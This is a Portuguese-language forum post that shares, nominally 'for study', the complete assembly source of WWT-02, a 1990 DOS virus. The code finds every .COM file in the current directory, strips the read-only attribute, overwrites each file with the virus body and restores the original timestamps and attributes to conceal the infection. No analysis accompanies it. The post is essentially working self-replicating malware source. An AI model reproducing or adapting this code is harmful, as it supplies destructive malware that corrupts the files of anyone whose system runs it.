Código Fonte Vírus em Assembly - WWT-02.

[WCG147]

Olá pessoal quero compartilhar um código fonte de um Vírus em Assembly. (PARA ESTUDO).

Nome: WWT-02.

; Virus name		WWT-02
; Description		Attack any COM file in current directory
; Comment		Don't change Date/Time, ignore ReadOnly
; Date			19 Dec 1990    15:30
; Place 		CICTT
;
		mov	dx,offset FileMask	; FileMask for any COM file
		mov	ah,4eh			; Find first file
		mov	cx,1			; including attrib Archive
		int	21h			; Call DOS
		jnc	Ok			; If no error -> go on
		jmp	short Exit		; If error -> exit program

Ok
		call	Infect			; Do infection

DoNext
		mov	dx,80h			; Set DS:DX to DTA
		mov	ah,4fh			; Find Next file
		int	21h			; Call DOS
		jnc	NextOk			; If no error -> go on
		jmp	short Exit		; If error -> exit
NextOk
		jmp	short Ok		; Still next file exist

Exit
		int	20h			; Exit to DOS

Infect
		mov	dx,9eh			; Set DS:DX to filename in DTA
		mov	ax,4300h		; Get file attribute
		int	21h			; Call DOS
		mov	Attrib,cx		; Save attribute for later
		xor	cx,cx			; New attribute -> normal file
		mov	ax,4301h		; Set attribute
		int	21h			; Call DOS
		mov	ax,3d02h		; Open file for Read/Write
		int	21h			; Call DOS
		jc	Exit			; If error -> exit
		mov	bx,ax			; Save handle
		mov	ax,5700h		; Get file Date/Time
		int	21h			; Call DOS
		mov	Date,dx 		; Save date
		mov	Time,cx 		; Save time
		mov	dx,100h 		; DS:DX point to itself
		mov	ah,40h			; Write to handle
		mov	cx,offset VirusSize-100h	; Write only virus
		int	21h			; Call DOS
		mov	ax,5701h		; Restore Date/Time
		mov	cx,Time 		; Old time
		mov	dx,Date 		; Old time
		int	21h			; Call DOS
		mov	ah,3eh			; Close file
		int	21h			; Call DOS
		mov	dx,9eh			; Set DS:DX to filename in DTA
		mov	cx,Attrib		; Restore attribute
		mov	ax,4301h		; Set file attribute
		int	21h			; Call DOS
		ret				; Return to caller


FileMask
		db	'*.COM',0               ; File mask for any COM file
Date
		dw	?
Time
		dw	?
Attrib
		dw	?
VirusSize
		db	?			; Used to calculate virus
						; size

WCG 147